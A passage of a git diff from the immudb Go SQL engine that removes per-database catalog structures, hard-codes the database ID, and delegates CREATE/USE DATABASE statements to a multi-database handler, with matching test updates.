require.ErrorIs(t, err, ErrUnexpected) - require.Nil(t, cval.reduceSelectors(nil, "db1", "table1")) + require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 44ade54983..364725835c 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -30,21 +30,15 @@ import ( ) type Catalog struct { - dbsByID map[uint32]*Database - dbsByName map[string]*Database -} + prefix []byte -type Database struct { - id uint32 - catalog *Catalog - name string tables []*Table tablesByID map[uint32]*Table tablesByName map[string]*Table } type Table struct { - db *Database + catalog *Catalog id uint32 name string cols []*Column @@ -76,101 +70,34 @@ type Column struct { notNull bool } -func newCatalog() *Catalog { +func newCatalog(prefix []byte) *Catalog { return &Catalog{ - dbsByID: map[uint32]*Database{}, - dbsByName: map[string]*Database{}, + prefix: prefix, + tables: make([]*Table, 0), + tablesByID: make(map[uint32]*Table), + tablesByName: make(map[string]*Table), } } -func (c *Catalog) ExistDatabase(db string) bool { - _, exists := c.dbsByName[db] +func (catlg *Catalog) ExistTable(table string) bool { + _, exists := catlg.tablesByName[table] return exists } -func (c *Catalog) newDatabase(id uint32, name string) (*Database, error) { - exists := c.ExistDatabase(name) - if exists { - return nil, ErrDatabaseAlreadyExists - } - - db := &Database{ - id: id, - catalog: c, - name: name, - tablesByID: map[uint32]*Table{}, - tablesByName: map[string]*Table{}, - } - - c.dbsByID[db.id] = db - c.dbsByName[db.name] = db - - return db, nil +func (catlg *Catalog) GetTables() []*Table { + return catlg.tables } -func (c *Catalog) Databases() []*Database { - dbs := make([]*Database, len(c.dbsByID)) - - i := 0 - for _, db := range c.dbsByID { - dbs[i] = db - i++ - } - - return dbs -} - -func (c *Catalog) GetDatabaseByName(name string) (*Database, error) { - db, exists := c.dbsByName[name] - if !exists { - return nil, ErrDatabaseDoesNotExist - } - return db, nil -} - -func (c *Catalog) GetDatabaseByID(id uint32) (*Database, error) { - db, exists := c.dbsByID[id] - if !exists { - return nil, ErrDatabaseDoesNotExist - } - return db, nil -} - -func (db *Database) ID() uint32 { - return db.id -} - -func (db *Database) Name() string { - return db.name -} - -func (db *Database) ExistTable(table string) bool { - _, exists := db.tablesByName[table] - return exists -} - -func (c *Catalog) GetTableByName(dbName, tableName string) (*Table, error) { - db, err := c.GetDatabaseByName(dbName) - if err != nil { - return nil, err - } - return db.GetTableByName(tableName) -} - -func (db *Database) GetTables() []*Table { - return db.tables -} - -func (db *Database) GetTableByName(name string) (*Table, error) { - table, exists := db.tablesByName[name] +func (catlg *Catalog) GetTableByName(name string) (*Table, error) { + table, exists := catlg.tablesByName[name] if !exists { return nil, fmt.Errorf("%w (%s)", ErrTableDoesNotExist, name) } return table, nil } -func (db *Database) GetTableByID(id uint32) (*Table, error) { - table, exists := db.tablesByID[id] +func (catlg *Catalog) GetTableByID(id uint32) (*Table, error) { + table, exists := catlg.tablesByID[id] if !exists { return nil, ErrTableDoesNotExist } @@ -181,8 +108,8 @@ func (t *Table) ID() uint32 { return t.id } -func (t *Table) Database() *Database { - return t.db +func (t *Table) Database() *Catalog { + return t.catalog } func (t *Table) Cols() []*Column { @@ -302,21 +229,21 @@ func indexName(tableName string, cols []*Column) string { return buf.String() } -func (db *Database) newTable(name string, colsSpec []*ColSpec) (table *Table, err error) { +func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, err error) { if len(name) == 0 || len(colsSpec) == 0 { return nil, ErrIllegalArguments } - exists := db.ExistTable(name) + exists := catlg.ExistTable(name) if exists { return nil, fmt.Errorf("%w (%s)", ErrTableAlreadyExists, name) } - id := len(db.tables) + 1 + id := len(catlg.tables) + 1 table = &Table{ id: uint32(id), - db: db, + catalog: catlg, name: name, cols: make([]*Column, len(colsSpec)), colsByID: make(map[uint32]*Column), @@ -356,9 +283,9 @@ func (db *Database) newTable(name string, colsSpec []*ColSpec) (table *Table, er table.colsByName[col.colName] = col } - db.tables = append(db.tables, table) - db.tablesByID[table.id] = table - db.tablesByName[table.name] = table + catlg.tables = append(catlg.tables, table) + catlg.tablesByID[table.id] = table + catlg.tablesByName[table.name] = table return table, nil } @@ -525,54 +452,9 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen >= 0 } -func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { +func (catlg *Catalog) load(tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - dbReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer dbReader.Close() - - for { - mkey, vref, err := dbReader.Read() - if errors.Is(err, store.ErrNoMoreEntries) { - break - } - if err != nil { - return err - } - - id, err := unmapDatabaseID(sqlPrefix, mkey) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err != nil { - return err - } - - db, err := c.newDatabase(id, string(v)) - if err != nil { - return err - } - - err = db.loadTables(sqlPrefix, tx) - if err != nil { - return err - } - } - - return nil -} - -func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(db.id)), + Prefix: mapKey(catlg.prefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -591,16 +473,16 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, err := unmapTableID(sqlPrefix, mkey) + dbID, tableID, err := unmapTableID(catlg.prefix, mkey) if err != nil { return err } - if dbID != db.id { + if dbID != 1 { return ErrCorruptedData } - colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix) + colSpecs, err := loadColSpecs(dbID, tableID, tx, catlg.prefix) if err != nil { return err } @@ -610,7 +492,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - table, err := db.newTable(string(v), colSpecs) + table, err := catlg.newTable(string(v), colSpecs) if err != nil { return err } @@ -619,13 +501,13 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { return ErrCorruptedData } - err = table.loadIndexes(sqlPrefix, tx) + err = table.loadIndexes(catlg.prefix, tx) if err != nil { return err } if table.autoIncrementPK { - encMaxPK, err := loadMaxPK(sqlPrefix, tx, table) + encMaxPK, err := loadMaxPK(catlg.prefix, tx, table) if errors.Is(err, store.ErrNoMoreEntries) { continue } @@ -653,7 +535,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), + Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(PKIndexID)), DescOrder: true, } @@ -732,7 +614,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( } func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -759,7 +641,7 @@ func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - if table.id != tableID || table.db.id != dbID { + if table.id != tableID || dbID != 1 { return ErrCorruptedData } @@ -811,19 +693,6 @@ func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { return mkey[len(prefix)+len(mappingPrefix):], nil } -func unmapDatabaseID(prefix, mkey []byte) (dbID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogDatabasePrefix)) - if err != nil { - return 0, err - } - - if len(encID) != EncIDLen { - return 0, ErrCorruptedData - } - - return binary.BigEndian.Uint32(encID), nil -} - func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { encID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix)) if err != nil { @@ -917,7 +786,7 @@ func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, er indexID := binary.BigEndian.Uint32(enc[off:]) off += EncIDLen - if dbID != index.table.db.id || tableID != index.table.id || indexID != index.id { + if dbID != 1 || tableID != index.table.id || indexID != index.id { return nil, ErrCorruptedData } @@ -1376,7 +1245,7 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { // addSchemaToTx adds the schema to the ongoing transaction. func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(t.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -1403,7 +1272,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - if t.id != tableID || t.db.id != dbID { + if t.id != tableID || dbID != 1 { return ErrCorruptedData } @@ -1425,9 +1294,9 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // addSchemaToTx adds the schema of the catalog to the given transaction. -func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { +func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(d.id)), + Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -1451,12 +1320,12 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - if dbID != d.id { + if dbID != 1 { return ErrCorruptedData } // read col specs into tx - colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix) + colSpecs, err := addColSpecsToTx(tx, sqlPrefix, tableID) if err != nil { return err } @@ -1474,7 +1343,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - table, err := d.newTable(string(v), colSpecs) + table, err := catlg.newTable(string(v), colSpecs) if err != nil { return err } @@ -1494,66 +1363,9 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return nil } -// addSchemaToTx adds the schema of the catalog to the given transaction. -func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - dbReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer dbReader.Close() - - for { - mkey, vref, err := dbReader.Read() - if errors.Is(err, store.ErrNoMoreEntries) { - break - } - - if err != nil { - return err - } - - id, err := unmapDatabaseID(sqlPrefix, mkey) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err == io.EOF { - continue - } - if err != nil { - return err - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return err - } - - db, err := c.newDatabase(id, string(v)) - if err != nil { - return err - } - - // read tables and indexes into tx - err = db.addTablesToTx(sqlPrefix, tx) - if err != nil { - return err - } - - } - - return nil -} - // addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) +func addColSpecsToTx(tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -1582,7 +1394,7 @@ func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte return nil, err } - if dbID != mdbID || tableID != mtableID { + if mdbID != 1 || tableID != mtableID { return nil, ErrCorruptedData } diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 6f10181723..6274280068 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -23,65 +23,31 @@ import ( ) func TestFromEmptyCatalog(t *testing.T) { - catalog := newCatalog() + db := newCatalog(nil) - dbs := catalog.Databases() - require.Empty(t, dbs) - - exists := catalog.ExistDatabase("db1") - require.False(t, exists) - - _, err := catalog.GetDatabaseByID(1) - require.Equal(t, ErrDatabaseDoesNotExist, err) - - _, err = catalog.GetDatabaseByName("db1") - require.Equal(t, ErrDatabaseDoesNotExist, err) - - _, err = catalog.GetTableByName("db1", "table1") - require.Equal(t, ErrDatabaseDoesNotExist, err) - - db, err := catalog.newDatabase(2, "db1") - require.NoError(t, err) - require.NotNil(t, db) - require.Equal(t, uint32(2), db.id) - require.Equal(t, "db1", db.Name()) - require.Empty(t, db.GetTables()) - - dbs = catalog.Databases() - require.NotNil(t, db) - require.Len(t, dbs, 1) - require.Equal(t, "db1", dbs[0].Name()) - - db1, err := catalog.GetDatabaseByID(2) - require.NoError(t, err) - require.Equal(t, db.name, db1.name) - - _, err = catalog.GetDatabaseByName("db1") - require.NoError(t, err) - - _, err = catalog.newDatabase(2, "db1") - require.Equal(t, ErrDatabaseAlreadyExists, err) + _, err := db.GetTableByName("table1") + require.ErrorIs(t, err, ErrTableDoesNotExist) - exists = db.ExistTable("table1") + exists := db.ExistTable("table1") require.False(t, exists) _, err = db.GetTableByID(1) - require.Equal(t, ErrTableDoesNotExist, err) + require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = db.GetTableByName("table1") require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = db.newTable("", nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", []*ColSpec{}) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "id", colType: IntegerType}}) - require.Equal(t, ErrDuplicatedColumn, err) + require.ErrorIs(t, err, ErrDuplicatedColumn) table, err := db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "title", colType: IntegerType}}) require.NoError(t, err) @@ -102,7 +68,7 @@ func TestFromEmptyCatalog(t *testing.T) { require.NoError(t, err) _, err = db.GetTableByID(2) - require.Equal(t, ErrTableDoesNotExist, err) + require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "title", colType: IntegerType}}) require.ErrorIs(t, err, ErrTableAlreadyExists) @@ -129,7 +95,7 @@ func TestFromEmptyCatalog(t *testing.T) { require.Equal(t, c.Name(), "title") _, err = table.GetColumnByID(3) - require.Equal(t, ErrColumnDoesNotExist, err) + require.ErrorIs(t, err, ErrColumnDoesNotExist) _, err = table.newIndex(true, nil) require.ErrorIs(t, err, ErrIllegalArguments) diff --git a/embedded/sql/cond_row_reader.go b/embedded/sql/cond_row_reader.go index 850dfc8679..4be9619de5 100644 --- a/embedded/sql/cond_row_reader.go +++ b/embedded/sql/cond_row_reader.go @@ -42,10 +42,6 @@ func (cr *conditionalRowReader) Tx() *SQLTx { return cr.rowReader.Tx() } -func (cr *conditionalRowReader) Database() string { - return cr.rowReader.Database() -} - func (cr *conditionalRowReader) TableAlias() string { return cr.rowReader.TableAlias() } @@ -81,7 +77,7 @@ func (cr *conditionalRowReader) InferParameters(ctx context.Context, params map[ return err } - _, err = cr.condition.inferType(cols, params, cr.Database(), cr.TableAlias()) + _, err = cr.condition.inferType(cols, params, cr.TableAlias()) return err } @@ -98,7 +94,7 @@ func (cr *conditionalRowReader) Read(ctx context.Context) (*Row, error) { return nil, fmt.Errorf("%w: when evaluating WHERE clause", err) } - r, err := cond.reduce(cr.Tx(), row, cr.rowReader.Database(), cr.rowReader.TableAlias()) + r, err := cond.reduce(cr.Tx(), row, cr.rowReader.TableAlias()) if err != nil { return nil, fmt.Errorf("%w: when evaluating WHERE clause", err) } diff --git a/embedded/sql/distinct_row_reader.go b/embedded/sql/distinct_row_reader.go index 6fae367c41..d25933e39f 100644 --- a/embedded/sql/distinct_row_reader.go +++ b/embedded/sql/distinct_row_reader.go @@ -49,10 +49,6 @@ func (dr *distinctRowReader) Tx() *SQLTx { return dr.rowReader.Tx() } -func (dr *distinctRowReader) Database() string { - return dr.rowReader.Database() -} - func (dr *distinctRowReader) TableAlias() string { return dr.rowReader.TableAlias() } diff --git a/embedded/sql/distinct_row_reader_test.go b/embedded/sql/distinct_row_reader_test.go index 7ee3aa175d..952f70a218 100644 --- a/embedded/sql/distinct_row_reader_test.go +++ b/embedded/sql/distinct_row_reader_test.go @@ -34,8 +34,6 @@ func TestDistinctRowReader(t *testing.T) { rowReader, err := newDistinctRowReader(context.Background(), dummyr) require.NoError(t, err) - - require.Equal(t, dummyr.Database(), rowReader.Database()) require.Equal(t, dummyr.TableAlias(), rowReader.TableAlias()) require.Equal(t, dummyr.OrderBy(), rowReader.OrderBy()) require.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs()) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index f07f91fc34..0c14bf8534 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -21,7 +21,6 @@ import ( "errors" "fmt" "strings" - "sync" "github.com/codenotary/immudb/embedded/store" ) @@ -30,9 +29,9 @@ var ErrNoSupported = errors.New("not supported") var ErrIllegalArguments = store.ErrIllegalArguments var ErrParsingError = errors.New("parsing error") var ErrDDLorDMLTxOnly = errors.New("transactions can NOT combine DDL and DML statements") +var ErrUnspecifiedMultiDBHandler = fmt.Errorf("%w: unspecified multidbHanlder", store.ErrIllegalState) var ErrDatabaseDoesNotExist = errors.New("database does not exist") var ErrDatabaseAlreadyExists = errors.New("database already exists") -var ErrNoDatabaseSelected = errors.New("no database selected") var ErrTableAlreadyExists = errors.New("table already exists") var ErrTableDoesNotExist = errors.New("table does not exist") var ErrColumnDoesNotExist = errors.New("column does not exist") @@ -101,11 +100,7 @@ type Engine struct { distinctLimit int autocommit bool - currentDatabase string - multidbHandler MultiDBHandler - - mutex sync.RWMutex } type MultiDBHandler interface { @@ -126,10 +121,11 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { } e := &Engine{ - store: store, - prefix: make([]byte, len(opts.prefix)), - distinctLimit: opts.distinctLimit, - autocommit: opts.autocommit, + store: store, + prefix: make([]byte, len(opts.prefix)), + distinctLimit: opts.distinctLimit, + autocommit: opts.autocommit, + multidbHandler: opts.multidbHandler, } copy(e.prefix, opts.prefix) @@ -140,40 +136,6 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { return e, nil } -func (e *Engine) SetMultiDBHandler(handler MultiDBHandler) { - e.mutex.Lock() - defer e.mutex.Unlock() - - e.multidbHandler = handler -} - -func (e *Engine) SetCurrentDatabase(ctx context.Context, dbName string) error { - tx, err := e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return err - } - defer tx.Cancel() - - db, exists := tx.catalog.dbsByName[dbName] - if !exists { - return ErrDatabaseDoesNotExist - } - - e.mutex.Lock() - defer e.mutex.Unlock() - - e.currentDatabase = db.name - - return nil -} - -func (e *Engine) CurrentDatabase() string { - e.mutex.RLock() - defer e.mutex.RUnlock() - - return e.currentDatabase -} - func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { err := opts.Validate() if err != nil { @@ -194,38 +156,23 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { UnsafeMVCC: opts.UnsafeMVCC, } - e.mutex.RLock() - defer e.mutex.RUnlock() - tx, err := e.store.NewTx(ctx, txOpts) if err != nil { return nil, err } - catalog := newCatalog() + catalog := newCatalog(e.prefix) - err = catalog.load(e.prefix, tx) + err = catalog.load(tx) if err != nil { return nil, err } - var currentDB *Database - - if e.currentDatabase != "" { - db, exists := catalog.dbsByName[e.currentDatabase] - if !exists { - return nil, ErrDatabaseDoesNotExist - } - - currentDB = db - } - return &SQLTx{ engine: e, opts: opts, tx: tx, catalog: catalog, - currentDB: currentDB, lastInsertedPKs: make(map[string]int64), firstInsertedPKs: make(map[string]int64), }, nil @@ -490,10 +437,8 @@ func normalizeParams(params map[string]interface{}) (map[string]interface{}, err // CopyCatalogToTx copies the current sql catalog to the ongoing transaction. func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { - e.mutex.RLock() - defer e.mutex.RUnlock() + catalog := newCatalog(e.prefix) - catalog := newCatalog() err := catalog.addSchemaToTx(e.prefix, tx) if err != nil { return err diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 1ac96d3147..a856cc285c 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -52,16 +52,10 @@ func setupCommonTest(t *testing.T) *Engine { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) - require.NoError(t, err) - return engine } -func TestCreateDatabase(t *testing.T) { +func TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) defer closeStore(t, st) @@ -70,22 +64,13 @@ func TestCreateDatabase(t *testing.T) { require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.Equal(t, ErrDatabaseAlreadyExists, err) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db2", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db3", nil) - require.NoError(t, err) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) } -func TestUseDatabase(t *testing.T) { +func TestUseDatabaseWithoutMultiDBHandler(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) defer closeStore(t, st) @@ -93,28 +78,13 @@ func TestUseDatabase(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) - require.NoError(t, err) - require.Equal(t, "db1", engine.CurrentDatabase()) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db2", nil) - require.ErrorIs(t, err, ErrDatabaseDoesNotExist) - require.Equal(t, "db1", engine.CurrentDatabase()) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db2", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, ` - USE db1; - CREATE TABLE table1(id INTEGER, PRIMARY KEY id); - USE db2; - CREATE TABLE table1(id INTEGER, PRIMARY KEY id); - `, nil) - require.NoError(t, err) - require.Equal(t, "db2", engine.CurrentDatabase()) + t.Run("without a handler, multi database stmts are not resolved", func(t *testing.T) { + _, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES()", nil) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) + }) } func TestCreateTable(t *testing.T) { @@ -125,15 +95,6 @@ func TestCreateTable(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) - require.Equal(t, ErrNoDatabaseSelected, err) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) @@ -165,7 +126,7 @@ func TestTimestampType(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) - sel := EncodeSelector("", "db1", "timestamp_table", "ts") + sel := EncodeSelector("", "timestamp_table", "ts") t.Run("must accept NOW() as a timestamp", func(t *testing.T) { tsBefore := time.Now().UTC() @@ -275,7 +236,7 @@ func TestTimestampIndex(t *testing.T) { for i := 100; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "timestamp_index", "id")].RawValue()) + require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "timestamp_index", "id")].RawValue()) } _, err = r.Read(context.Background()) @@ -288,7 +249,7 @@ func TestTimestampCasts(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) - sel := EncodeSelector("", "db1", "timestamp_table", "ts") + sel := EncodeSelector("", "timestamp_table", "ts") for _, d := range []struct { str string @@ -633,9 +594,9 @@ func TestFloatIndex(t *testing.T) { for i := 100; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "id")].RawValue()) + require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "float_index", "id")].RawValue()) - currf := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].RawValue().(float64) + currf := row.ValuesBySelector[EncodeSelector("", "float_index", "ft")].RawValue().(float64) require.Less(t, prevf, currf) prevf = currf } @@ -704,7 +665,7 @@ func TestFloatIndexOnNegatives(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - val := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].RawValue() + val := row.ValuesBySelector[EncodeSelector("", "float_index", "ft")].RawValue() if i == 0 { require.True(t, math.IsNaN(val.(float64))) continue @@ -954,7 +915,7 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { for i := 0; i < 10; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "db1", "tx_timestamp", "ts")].RawValue()) + require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "tx_timestamp", "ts")].RawValue()) } _, err = r.Read(context.Background()) @@ -975,18 +936,6 @@ func TestAddColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) @@ -1042,9 +991,6 @@ func TestAddColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) - require.NoError(t, err) - res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname FROM table1", nil) require.NoError(t, err) @@ -1074,15 +1020,6 @@ func TestRenameColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO surname", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) @@ -1143,9 +1080,6 @@ func TestRenameColumn(t *testing.T) { engine, err := NewEngine(st, 